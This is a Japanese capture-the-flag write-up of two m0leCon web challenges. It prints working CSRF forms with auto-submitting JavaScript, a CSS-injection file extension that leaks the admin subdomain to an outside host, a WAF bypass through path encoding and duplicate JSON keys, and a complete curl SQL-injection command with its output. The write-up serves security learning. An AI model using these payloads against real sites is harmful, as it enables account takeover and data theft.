5/15 - 5/16という日程で開催された。zer0ptsで参加して7位。
[Web] m0lefans
ユーザごとに別のサブドメインが用意されるInstagram的なSNSが与えられるので、adminのサブドメインを特定し、adminのフォロワーしか読めない記事をなんとかして読めという問題だった。
まずはadminのサブドメインを特定する方法。画像のアップロードができるエンドポイントは各ユーザごとに発行されたサブドメイン下ではなく、共通の https://m0lecon.fans/feed/create
だった。CSRF対策もされていないので、以下のようにCSRFでadminに好きな画像をアップロードさせることができる。
<form method="POST" enctype="multipart/form-data" action="https://m0lecon.fans/feed/create" id="form"> <input type="text" name="description" value="ok"> <input type="file" name="file" id="up"> <input type="submit" value="Publish" id="go"> </form> <script> (async () => { const form = document.getElementById('form'); const up = document.getElementById('up'); const content = await fetch('computer_memory.png').then(resp => resp.blob()); const blob = new Blob([content], { type: "image/png"}); const filename = 'payload_' + Math.random() + '.png'; const file = new File([blob], filename); const dt = new DataTransfer(); dt.items.add(file); const list = dt.files; up.files = list; const go = document.getElementById('go'); go.click(); })(); </script>
ファイル名は拡張子だけが保持されてリネームされ、アップロードされた画像は <div class="row image" style="background-image: url(https://m0lecon.fans/static/media/posts/09a18c96-f438-458d-89ad-9edd32ee2c27.(拡張子)"></div>
のようにCSSを使って表示される。ここでCSS Injectionができ、拡張子を );content:url('http:example.com.com');
のようにしてやると、example.com
から画像が読み込まれる。この際送られてきたHTTPリクエストを見ると、リファラに y0urmuchb3l0v3d4dm1n.m0lecon.fans
とadminのサブドメインが入っていた。
adminにフォローリクエストを送っても無視される。フォローリクエストの承認が行われるエンドポイントはadminのサブドメイン下にあるが、こちらもCSRFでなんとかできる。
<form method="POST" enctype="multipart/form-data" action="https://y0urmuchb3l0v3d4dm1n.m0lecon.fans/profile/request" id="form"> <input type="text" name="id" value="72"> <input type="submit" value="Accept" id="go"> </form> <script> const go = document.getElementById('go'); go.click(); </script>
[Web] Waffle
WAF Bypass + 同じ名前のキーが二度出現するJSONの解釈の問題 + SQL Injection。まずs1r1usさんが /gettoken%3fcreditcard=asdf&promocode=FREEWAF
で、Python側では FREEWAF
までが path
と解釈され、バックエンドのGolang側では creditcard=asdf&promocode=FREEWAF
部分はGETパラメータとして解釈されるために、WAFをバイパスしてトークンを発行させられることを見つけた。
@app.route('/', defaults={'path': ''}, methods=['GET']) @app.route('/<path:path>', methods=['GET']) def catch_all(path): print(path, unquote(path)) if('gettoken' in unquote(path)): promo = request.args.get('promocode') creditcard = request.args.get('creditcard') if promo == 'FREEWAF': res = jsonify({'err':'Sorry, this promo has expired'}) res.status_code = 400 return res r = requests.get(appHost+path, params={'promocode':promo,'creditcard':creditcard}) else: r = requests.get(appHost+path) headers = [(name, value) for (name, value) in r.raw.headers.items()] res = Response(r.content, r.status_code, headers) return res
バックエンドのGolang側には name
経由でのSQLiがある。Python側では以下のように name
がalnumであるかどうかチェックしているが、 {"name":"a\u0027","name":"123"}
という風に name
というキーが二度出現するJSONを渡してやると、JSONのパース時にPython側では後者を、Golang側では前者を name
の値とするためにバイパスできる。
if 'name' in j: x = j['name'] if not isinstance(x, str) or not x.isalnum(): badReq = True
あとはSQLiするだけ。
$ curl --path-as-is "http://waffle.challs.m0lecon.it/search" -b "token=LQuKU5ViVGk4fsytWt9C" -H "Content-Type: application/json" -d '{"min_radius":0,"max_radius":0,"name":"a\u0027 union select 1, 2, 3, (select flag from flag) union select name, radius, height, img_url from waffle where name = \u0027","name":"123"}' [{"name":"1","radius":2,"height":3,"img_url":"ptm{n3ver_ev3r_tru5t_4_pars3r!}"}]
JSONネタ関連の記事や過去問: